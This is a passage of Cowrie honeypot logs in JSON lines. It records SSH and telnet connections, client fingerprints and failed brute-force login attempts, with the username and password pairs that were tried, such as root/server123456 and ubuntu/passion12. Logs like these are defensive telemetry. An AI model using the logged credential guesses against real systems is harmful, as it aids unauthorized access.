","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:06.714141Z","src_ip":"43.157.90.107","session":"b7805fb07b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo9","password":"1234","message":"login attempt [odoo9/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:07.102420Z","src_ip":"43.157.90.107","session":"b7805fb07b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:08.196074Z","src_ip":"43.157.90.107","session":"b7805fb07b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":59126,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ccc1016ce1b","protocol":"ssh","message":"New connection: 95.240.192.149:59126 (10.17.0.5:22) [session: 4ccc1016ce1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:27.941412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:27.946032Z","src_ip":"95.240.192.149","session":"4ccc1016ce1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:28.059248Z","src_ip":"95.240.192.149","session":"4ccc1016ce1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server123456","message":"login attempt [root/server123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:28.537428Z","src_ip":"95.240.192.149","session":"4ccc1016ce1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:29.652379Z","src_ip":"95.240.192.149","session":"4ccc1016ce1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":52682,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cbd1a6498b7","protocol":"ssh","message":"New connection: 13.67.236.135:52682 (159.203.135.109:22) [session: 9cbd1a6498b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:50.356179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:50.360656Z","src_ip":"13.67.236.135","session":"9cbd1a6498b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:50.395971Z","src_ip":"13.67.236.135","session":"9cbd1a6498b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testi","password":"testi","message":"login attempt [testi/testi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:50.567515Z","src_ip":"13.67.236.135","session":"9cbd1a6498b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:51.605093Z","src_ip":"13.67.236.135","session":"9cbd1a6498b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":36182,"dst_ip":"10.17.0.5","dst_port":22,"session":"c870bb303825","protocol":"ssh","message":"New connection: 43.157.90.107:36182 (10.17.0.5:22) [session: c870bb303825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:53.414870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:53.419528Z","src_ip":"43.157.90.107","session":"c870bb303825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:53.509235Z","src_ip":"43.157.90.107","session":"c870bb303825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"passion12","message":"login attempt [ubuntu/passion12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:53.895068Z","src_ip":"43.157.90.107","session":"c870bb303825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.214.211.102","src_port":27707,"dst_ip":"159.203.135.109","dst_port":23,"session":"3aea19eace4f","protocol":"telnet","message":"New connection: 95.214.211.102:27707 (159.203.135.109:23) [session: 3aea19eace4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:54.669936Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:54.987263Z","src_ip":"43.157.90.107","session":"c870bb303825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.720163106918335,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:09.389958Z","src_ip":"95.214.211.102","session":"3aea19eace4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":50302,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b2eed401892","protocol":"ssh","message":"New connection: 95.240.192.149:50302 (10.17.0.5:22) [session: 4b2eed401892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:19.080534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:19.085615Z","src_ip":"95.240.192.149","session":"4b2eed401892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:19.201506Z","src_ip":"95.240.192.149","session":"4b2eed401892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"bani","message":"login attempt [admin/bani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:19.687163Z","src_ip":"95.240.192.149","session":"4b2eed401892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:20.801708Z","src_ip":"95.240.192.149","session":"4b2eed401892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":12893,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d965f1b11d7","protocol":"ssh","message":"New connection: 79.55.224.44:12893 (10.17.0.5:22) [session: 4d965f1b11d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:38.794547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:38.799181Z","src_ip":"79.55.224.44","session":"4d965f1b11d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:38.918911Z","src_ip":"79.55.224.44","session":"4d965f1b11d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password09!","message":"login attempt [ubuntu/Password09!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:39.426945Z","src_ip":"79.55.224.44","session":"4d965f1b11d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:40.550086Z","src_ip":"79.55.224.44","session":"4d965f1b11d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":50960,"dst_ip":"10.17.0.5","dst_port":22,"session":"772823a23292","protocol":"ssh","message":"New connection: 43.165.177.199:50960 (10.17.0.5:22) [session: 772823a23292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:43.112128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:43.116366Z","src_ip":"43.165.177.199","session":"772823a23292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:43.296396Z","src_ip":"43.165.177.199","session":"772823a23292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2018","message":"login attempt [root/server@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:44.046033Z","src_ip":"43.165.177.199","session":"772823a23292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:45.230055Z","src_ip":"43.165.177.199","session":"772823a23292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":52758,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb05de72ce62","protocol":"ssh","message":"New connection: 13.67.236.135:52758 (159.203.135.109:22) [session: eb05de72ce62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:48.828319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:48.833232Z","src_ip":"13.67.236.135","session":"eb05de72ce62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:48.874813Z","src_ip":"13.67.236.135","session":"eb05de72ce62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wwww1111","message":"login attempt [root/wwww1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:49.067137Z","src_ip":"13.67.236.135","session":"eb05de72ce62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:16:50.111570Z","src_ip":"13.67.236.135","session":"eb05de72ce62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":60362,"dst_ip":"10.17.0.5","dst_port":22,"session":"07056f940c0b","protocol":"ssh","message":"New connection: 95.240.192.149:60362 (10.17.0.5:22) [session: 07056f940c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:17:16.142627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:17:16.147838Z","src_ip":"95.240.192.149","session":"07056f940c0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:17:16.258354Z","src_ip":"95.240.192.149","session":"07056f940c0b","protocol":"ssh"}
